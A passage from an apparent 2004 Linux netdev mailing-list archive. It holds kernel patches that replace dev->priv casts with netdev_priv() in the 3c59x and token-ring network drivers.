ioaddr = dev->base_addr; int i; @@ -2740,7 +2740,7 @@ static void dump_tx_ring(struct net_device *dev) { if (vortex_debug > 0) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; if (vp->full_bus_master_tx) { @@ -2773,7 +2773,7 @@ dump_tx_ring(struct net_device *dev) static struct net_device_stats *vortex_get_stats(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); unsigned long flags; if (netif_device_present(dev)) { /* AKPM: Used to be netif_running */ @@ -2793,7 +2793,7 @@ static struct net_device_stats *vortex_g */ static void update_stats(long ioaddr, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); int old_window = inw(ioaddr + EL3_CMD); if (old_window == 0xffff) /* Chip suspended or ejected. */ @@ -2834,7 +2834,7 @@ static void update_stats(long ioaddr, st static void vortex_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct vortex_private *vp = dev->priv; + struct vortex_private *vp = netdev_priv(dev); strcpy(info->driver, DRV_NAME); strcpy(info->version, DRV_VERSION); @@ -2855,7 +2855,7 @@ static struct ethtool_ops vortex_ethtool static int vortex_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int phy = vp->phys[0] & 0x1f; @@ -2942,7 +2942,7 @@ static void mdio_sync(long ioaddr, int b static int mdio_read(struct net_device *dev, int phy_id, int location) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); int i; long ioaddr = dev->base_addr; int read_cmd = (0xf6 << 10) | (phy_id << 5) | location; @@ -2976,7 +2976,7 @@ static int mdio_read(struct net_device * static void mdio_write(struct net_device *dev, int phy_id, int location, int value) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; int write_cmd = 0x50020000 | (phy_id << 23) | (location << 18) | value; long mdio_addr = ioaddr + Wn4_PhysicalMgmt; @@ -3010,7 +3010,7 @@ static void mdio_write(struct net_device /* Set Wake-On-LAN mode and put the board into D3 (power-down) state. */ static void acpi_set_WOL(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; /* Power up on: 1==Downloaded Filter, 2==Magic Packets, 4==Link Status. */ @@ -3036,7 +3036,7 @@ static void __devexit vortex_remove_one BUG(); } - vp = dev->priv; + vp = netdev_priv(dev); /* AKPM: FIXME: we should have * if (vp->cb_fn_base) iounmap(vp->cb_fn_base); _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:20:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:20:20 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LK7KO018666 for ; Thu, 4 Mar 2004 13:20:07 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LK2E29127 for ; Thu, 4 Mar 2004 13:20:02 -0800 Date: Thu, 4 Mar 2004 13:19:09 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/tokenring/ drivers Message-Id: <20040304131909.068e41ed.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3748 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 41211 Lines: 1159 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/tokenring/abyss.c | 6 linux-264-302-priv-rddunlap/drivers/net/tokenring/madgemc.c | 6 linux-264-302-priv-rddunlap/drivers/net/tokenring/proteon.c | 4 linux-264-302-priv-rddunlap/drivers/net/tokenring/skisa.c | 4 linux-264-302-priv-rddunlap/drivers/net/tokenring/smctr.c | 174 +++++------ linux-264-302-priv-rddunlap/drivers/net/tokenring/tms380tr.c | 54 +-- 6 files changed, 124 insertions(+), 124 deletions(-) diff -puN drivers/net/tokenring/abyss.c~net_token_casts drivers/net/tokenring/abyss.c --- linux-264-302-priv/drivers/net/tokenring/abyss.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/abyss.c 2004-03-02 16:33:00.000000000 -0800 @@ -154,7 +154,7 @@ static int __devinit abyss_attach(struct printk(":%2.2x", dev->dev_addr[i]); printk("\n"); - tp = dev->priv; + tp = netdev_priv(dev); tp->setnselout = abyss_setnselout_pins; tp->sifreadb = abyss_sifreadb; tp->sifreadw = abyss_sifreadw; @@ -188,7 +188,7 @@ err_out_trdev: static unsigned short abyss_setnselout_pins(struct net_device *dev) { unsigned short val = 0; - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(tp->DataRate == SPEED_4) val |= 0x01; /* Set 4Mbps */ @@ -398,7 +398,7 @@ static void abyss_read_eeprom(struct net unsigned short val; int i; - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); ioaddr = dev->base_addr; /* Must enable glue chip first */ diff -puN drivers/net/tokenring/madgemc.c~net_token_casts drivers/net/tokenring/madgemc.c --- linux-264-302-priv/drivers/net/tokenring/madgemc.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/madgemc.c 2004-03-02 16:33:28.000000000 -0800 @@ -365,7 +365,7 @@ static int __init madgemc_probe(void) return 0; return -1; } - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); /* * The MC16 is physically a 32bit card. However, Madge @@ -504,7 +504,7 @@ static irqreturn_t madgemc_interrupt(int unsigned short madgemc_setnselout_pins(struct net_device *dev) { unsigned char reg1; - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); reg1 = inb(dev->base_addr + MC_CONTROL_REG1); @@ -731,7 +731,7 @@ static int madgemc_mcaproc(char *buf, in } len += sprintf(buf+len, "-------\n"); if (curcard) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int i; len += sprintf(buf+len, "Card Revision: %d\n", curcard->cardrev); diff -puN drivers/net/tokenring/proteon.c~net_token_casts drivers/net/tokenring/proteon.c --- linux-264-302-priv/drivers/net/tokenring/proteon.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/proteon.c 2004-03-02 16:34:30.000000000 -0800 @@ -158,7 +158,7 @@ static int __init setup_card(struct net_ printk(":%2.2x", dev->dev_addr[j]); printk("\n"); - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); tp->setnselout = proteon_setnselout_pins; tp->sifreadb = proteon_sifreadb; @@ -316,7 +316,7 @@ unsigned short proteon_setnselout_pins(s static int proteon_open(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned short val = 0; int i; diff -puN drivers/net/tokenring/skisa.c~net_token_casts drivers/net/tokenring/skisa.c --- linux-264-302-priv/drivers/net/tokenring/skisa.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/skisa.c 2004-03-02 16:35:01.000000000 -0800 @@ -175,7 +175,7 @@ static int __init setup_card(struct net_ printk(":%2.2x", dev->dev_addr[j]); printk("\n"); - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); tp->setnselout = sk_isa_setnselout_pins; tp->sifreadb = sk_isa_sifreadb; @@ -332,7 +332,7 @@ unsigned short sk_isa_setnselout_pins(st static int sk_isa_open(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned short val = 0; unsigned short oldval; int i; diff -puN drivers/net/tokenring/smctr.c~net_token_casts drivers/net/tokenring/smctr.c --- linux-264-302-priv/drivers/net/tokenring/smctr.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/smctr.c 2004-03-02 16:38:17.000000000 -0800 @@ -327,7 +327,7 @@ static int smctr_wait_while_cbusy(struct */ static int smctr_alloc_shared_memory(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_alloc_shared_memory\n", dev->name); @@ -454,7 +454,7 @@ static int smctr_bypass_state(struct net static int smctr_checksum_firmware(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 i, checksum = 0; if(smctr_debug > 10) @@ -480,7 +480,7 @@ static int smctr_checksum_firmware(struc static int smctr_chk_mca(struct net_device *dev) { #ifdef CONFIG_MCA - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int current_slot; __u8 r1, r2, r3, r4, r5; @@ -631,7 +631,7 @@ static int smctr_chk_mca(struct net_devi static int smctr_chg_rx_mask(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err = 0; if(smctr_debug > 10) @@ -694,7 +694,7 @@ static int smctr_chg_rx_mask(struct net_ static int smctr_clear_int(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); outb((tp->trc_mask | CSR_CLRTINT), dev->base_addr + CSR); @@ -716,7 +716,7 @@ static int smctr_clear_trc_reset(int ioa */ static int smctr_close(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); struct sk_buff *skb; int err; @@ -752,7 +752,7 @@ static int smctr_close(struct net_device static int smctr_decode_firmware(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); short bit = 0x80, shift = 12; DECODE_TREE_NODE *tree; short branch, tsize; @@ -823,7 +823,7 @@ static int smctr_disable_16bit(struct ne */ static int smctr_disable_adapter_ctrl_store(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; if(smctr_debug > 10) @@ -837,7 +837,7 @@ static int smctr_disable_adapter_ctrl_st static int smctr_disable_bic_int(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; tp->trc_mask = CSR_MSK_ALL | CSR_MSKCBUSY @@ -849,7 +849,7 @@ static int smctr_disable_bic_int(struct static int smctr_enable_16bit(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u8 r; if(tp->adapter_bus == BUS_ISA16_TYPE) @@ -869,7 +869,7 @@ static int smctr_enable_16bit(struct net */ static int smctr_enable_adapter_ctrl_store(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; if(smctr_debug > 10) @@ -900,7 +900,7 @@ static int smctr_enable_adapter_ram(stru static int smctr_enable_bic_int(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; __u8 r; @@ -926,7 +926,7 @@ static int smctr_enable_bic_int(struct n static int __init smctr_chk_isa(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; __u8 r1, r2, b, chksum = 0; __u16 r; @@ -1155,7 +1155,7 @@ out: static int __init smctr_get_boardid(struct net_device *dev, int mca) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; __u8 r, r1, IdByte; __u16 BoardIdMask; @@ -1273,7 +1273,7 @@ static int smctr_get_functional_address( */ static unsigned int smctr_get_num_rx_bdbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int mem_used = 0; /* Allocate System Control Blocks. */ @@ -1358,7 +1358,7 @@ static int smctr_get_physical_drop_numbe static __u8 * smctr_get_rx_pointer(struct net_device *dev, short queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); BDBlock *bdb; bdb = (BDBlock *)((__u32)tp->ram_access @@ -1382,7 +1382,7 @@ static int smctr_get_station_id(struct n */ static struct net_device_stats *smctr_get_stats(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); return ((struct net_device_stats *)&tp->MacStat); } @@ -1390,7 +1390,7 @@ static struct net_device_stats *smctr_ge static FCBlock *smctr_get_tx_fcb(struct net_device *dev, __u16 queue, __u16 bytes_count) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); FCBlock *pFCB; BDBlock *pbdb; unsigned short alloc_size; @@ -1513,7 +1513,7 @@ static int smctr_hardware_send_packet(st static int smctr_init_acbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i; ACBlock *acb; @@ -1557,7 +1557,7 @@ static int smctr_init_acbs(struct net_de static int smctr_init_adapter(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if(smctr_debug > 10) @@ -1640,7 +1640,7 @@ static int smctr_init_adapter(struct net static int smctr_init_card_real(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err = 0; if(smctr_debug > 10) @@ -1716,7 +1716,7 @@ static int smctr_init_card_real(struct n static int smctr_init_rx_bdbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, j; BDBlock *bdb; __u16 *buf; @@ -1768,7 +1768,7 @@ static int smctr_init_rx_bdbs(struct net static int smctr_init_rx_fcbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, j; FCBlock *fcb; @@ -1818,7 +1818,7 @@ static int smctr_init_rx_fcbs(struct net static int smctr_init_shared_memory(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i; __u32 *iscpb; @@ -1876,7 +1876,7 @@ static int smctr_init_shared_memory(stru static int smctr_init_tx_bdbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, j; BDBlock *bdb; @@ -1906,7 +1906,7 @@ static int smctr_init_tx_bdbs(struct net static int smctr_init_tx_fcbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, j; FCBlock *fcb; @@ -1945,7 +1945,7 @@ static int smctr_init_tx_fcbs(struct net static int smctr_internal_self_test(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if((err = smctr_issue_test_internal_rom_cmd(dev))) @@ -1998,7 +1998,7 @@ static irqreturn_t smctr_interrupt(int i } ioaddr = dev->base_addr; - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); if(tp->status == NOT_INITIALIZED) @@ -2471,7 +2471,7 @@ static irqreturn_t smctr_interrupt(int i static int smctr_issue_enable_int_cmd(struct net_device *dev, __u16 interrupt_enable_mask) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if((err = smctr_wait_while_cbusy(dev))) @@ -2487,7 +2487,7 @@ static int smctr_issue_enable_int_cmd(st static int smctr_issue_int_ack(struct net_device *dev, __u16 iack_code, __u16 ibits) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_wait_while_cbusy(dev)) return (-1); @@ -2503,7 +2503,7 @@ static int smctr_issue_int_ack(struct ne static int smctr_issue_init_timers_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i; int err; __u16 *pTimer_Struc = (__u16 *)tp->misc_command_data; @@ -2660,7 +2660,7 @@ static int smctr_issue_init_timers_cmd(s static int smctr_issue_init_txrx_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i; int err; void **txrx_ptrs = (void *)tp->misc_command_data; @@ -2748,7 +2748,7 @@ static int smctr_issue_read_word_cmd(str static int smctr_issue_remove_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if((err = smctr_wait_while_cbusy(dev))) @@ -2764,7 +2764,7 @@ static int smctr_issue_remove_cmd(struct static int smctr_issue_resume_acb_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if((err = smctr_wait_while_cbusy(dev))) @@ -2782,7 +2782,7 @@ static int smctr_issue_resume_acb_cmd(st static int smctr_issue_resume_rx_bdb_cmd(struct net_device *dev, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if((err = smctr_wait_while_cbusy(dev))) @@ -2802,7 +2802,7 @@ static int smctr_issue_resume_rx_bdb_cmd static int smctr_issue_resume_rx_fcb_cmd(struct net_device *dev, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_issue_resume_rx_fcb_cmd\n", dev->name); @@ -2824,7 +2824,7 @@ static int smctr_issue_resume_rx_fcb_cmd static int smctr_issue_resume_tx_fcb_cmd(struct net_device *dev, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_issue_resume_tx_fcb_cmd\n", dev->name); @@ -2893,7 +2893,7 @@ static int smctr_issue_tri_loopback_cmd( static int smctr_issue_write_byte_cmd(struct net_device *dev, short aword_cnt, void *byte) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int iword, ibyte; int err; @@ -2917,7 +2917,7 @@ static int smctr_issue_write_byte_cmd(st static int smctr_issue_write_word_cmd(struct net_device *dev, short aword_cnt, void *word) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, err; if((err = smctr_wait_while_cbusy(dev))) @@ -2947,7 +2947,7 @@ static int smctr_join_complete_state(str static int smctr_link_tx_fcbs_to_bdbs(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, j; FCBlock *fcb; BDBlock *bdb; @@ -2971,7 +2971,7 @@ static int smctr_link_tx_fcbs_to_bdbs(st static int smctr_load_firmware(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 i, checksum = 0; int err = 0; @@ -3071,7 +3071,7 @@ static int smctr_load_node_addr(struct n */ static int smctr_lobe_media_test(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, perror = 0; unsigned short saved_rcv_mask; @@ -3146,7 +3146,7 @@ static int smctr_lobe_media_test(struct static int smctr_lobe_media_test_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if(smctr_debug > 10) @@ -3230,7 +3230,7 @@ static int smctr_make_8025_hdr(struct ne static int smctr_make_access_pri(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tsv->svi = AUTHORIZED_ACCESS_PRIORITY; tsv->svl = S_AUTHORIZED_ACCESS_PRIORITY; @@ -3255,7 +3255,7 @@ static int smctr_make_addr_mod(struct ne static int smctr_make_auth_funct_class(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tsv->svi = AUTHORIZED_FUNCTION_CLASS; tsv->svl = S_AUTHORIZED_FUNCTION_CLASS; @@ -3280,7 +3280,7 @@ static int smctr_make_corr(struct net_de static int smctr_make_funct_addr(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); smctr_get_functional_address(dev); @@ -3298,7 +3298,7 @@ static int smctr_make_funct_addr(struct static int smctr_make_group_addr(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); smctr_get_group_address(dev); @@ -3324,7 +3324,7 @@ static int smctr_make_group_addr(struct static int smctr_make_phy_drop_num(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); smctr_get_physical_drop_number(dev); @@ -3355,7 +3355,7 @@ static int smctr_make_product_id(struct static int smctr_make_station_id(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); smctr_get_station_id(dev); @@ -3393,7 +3393,7 @@ static int smctr_make_ring_station_statu static int smctr_make_ring_station_version(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tsv->svi = RING_STATION_VERSION_NUMBER; tsv->svl = S_RING_STATION_VERSION_NUMBER; @@ -3433,7 +3433,7 @@ static int smctr_make_tx_status_code(str static int smctr_make_upstream_neighbor_addr(struct net_device *dev, MAC_SUB_VECTOR *tsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); smctr_get_upstream_neighbor_addr(dev); @@ -3485,7 +3485,7 @@ static int smctr_open(struct net_device /* Interrupt driven open of Token card. */ static int smctr_open_tr(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned long flags; int err; @@ -3618,7 +3618,7 @@ struct net_device __init *smctr_probe(in return dev; out1: #ifdef CONFIG_MCA - { struct net_local *tp = (struct net_local *)dev->priv; + { struct net_local *tp = netdev_priv(dev); if (tp->slot_num) mca_mark_as_unused(tp->slot_num); } @@ -3634,7 +3634,7 @@ out: static int __init smctr_probe1(struct net_device *dev, int ioaddr) { static unsigned version_printed; - struct net_local *tp = dev->priv; + struct net_local *tp = netdev_priv(dev); int err; __u32 *ram; @@ -3654,7 +3654,7 @@ static int __init smctr_probe1(struct ne } } - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); dev->mem_start = tp->ram_base; dev->mem_end = dev->mem_start + 0x10000; ram = (__u32 *)phys_to_virt(dev->mem_start); @@ -3696,7 +3696,7 @@ out: static int smctr_process_rx_packet(MAC_HEADER *rmf, __u16 size, struct net_device *dev, __u16 rx_status) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); struct sk_buff *skb; __u16 rcode, correlator; int err = 0; @@ -3917,7 +3917,7 @@ static int smctr_process_rx_packet(MAC_H /* Adapter RAM test. Incremental word ODD boundary data test. */ static int smctr_ram_memory_test(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 page, pages_of_ram, start_pattern = 0, word_pattern = 0, word_read = 0, err_word = 0, err_pattern = 0; unsigned int err_offset; @@ -4310,7 +4310,7 @@ static int smctr_rcv_unknown(struct net_ */ static int smctr_reset_adapter(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; /* Reseting the NIC will put it in a halted and un-initialized state. */ smctr_set_trc_reset(ioaddr); @@ -4329,7 +4329,7 @@ static int smctr_reset_adapter(struct ne static int smctr_restart_tx_chain(struct net_device *dev, short queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err = 0; if(smctr_debug > 10) @@ -4347,7 +4347,7 @@ static int smctr_restart_tx_chain(struct static int smctr_ring_status_chg(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_ring_status_chg\n", dev->name); @@ -4449,7 +4449,7 @@ static int smctr_ring_status_chg(struct static int smctr_rx_frame(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 queue, status, rx_size, err = 0; __u8 *pbuff; @@ -4516,7 +4516,7 @@ static int smctr_rx_frame(struct net_dev static int smctr_send_dat(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int i, err; MAC_HEADER *tmf; FCBlock *fcb; @@ -4596,7 +4596,7 @@ static void smctr_timeout(struct net_dev */ static int smctr_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_send_packet\n", dev->name); @@ -4621,7 +4621,7 @@ static int smctr_send_packet(struct sk_b static int smctr_send_lobe_media_test(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); MAC_SUB_VECTOR *tsv; MAC_HEADER *tmf; FCBlock *fcb; @@ -4917,7 +4917,7 @@ static int smctr_send_rsp(struct net_dev static int smctr_send_rq_init(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); MAC_HEADER *tmf; MAC_SUB_VECTOR *tsv; FCBlock *fcb; @@ -5001,7 +5001,7 @@ static int smctr_send_rq_init(struct net static int smctr_send_tx_forward(struct net_device *dev, MAC_HEADER *rmf, __u16 *tx_fstatus) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); FCBlock *fcb; unsigned int i; int err; @@ -5065,7 +5065,7 @@ static int smctr_send_tx_forward(struct static int smctr_set_auth_access_pri(struct net_device *dev, MAC_SUB_VECTOR *rsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(rsv->svl != S_AUTHORIZED_ACCESS_PRIORITY) return (E_SUB_VECTOR_LENGTH_ERROR); @@ -5078,7 +5078,7 @@ static int smctr_set_auth_access_pri(str static int smctr_set_auth_funct_class(struct net_device *dev, MAC_SUB_VECTOR *rsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(rsv->svl != S_AUTHORIZED_FUNCTION_CLASS) return (E_SUB_VECTOR_LENGTH_ERROR); @@ -5139,7 +5139,7 @@ static int smctr_set_frame_forward(struc static int smctr_set_local_ring_num(struct net_device *dev, MAC_SUB_VECTOR *rsv) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(rsv->svl != S_LOCAL_RING_NUMBER) return (E_SUB_VECTOR_LENGTH_ERROR); @@ -5153,7 +5153,7 @@ static int smctr_set_local_ring_num(stru static unsigned short smctr_set_ctrl_attention(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int ioaddr = dev->base_addr; if(tp->bic_type == BIC_585_CHIP) @@ -5177,7 +5177,7 @@ static void smctr_set_multicast_list(str static int smctr_set_page(struct net_device *dev, __u8 *buf) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u8 amask; __u32 tptr; @@ -5207,7 +5207,7 @@ static int smctr_set_phy_drop(struct net */ static int smctr_set_ring_speed(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; if(tp->media_type == MEDIA_UTP_16) @@ -5235,7 +5235,7 @@ static int smctr_set_ring_speed(struct n static int smctr_set_rx_look_ahead(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 sword, rword; if(smctr_debug > 10) @@ -5278,7 +5278,7 @@ static int smctr_set_trc_reset(int ioadd static int smctr_setup_single_cmd(struct net_device *dev, __u16 command, __u16 subcommand) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int err; if(smctr_debug > 10) @@ -5305,7 +5305,7 @@ static int smctr_setup_single_cmd(struct static int smctr_setup_single_cmd_w_data(struct net_device *dev, __u16 command, __u16 subcommand) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tp->acb_head->cmd_done_status = ACB_COMMAND_NOT_DONE; tp->acb_head->cmd = command; @@ -5318,7 +5318,7 @@ static int 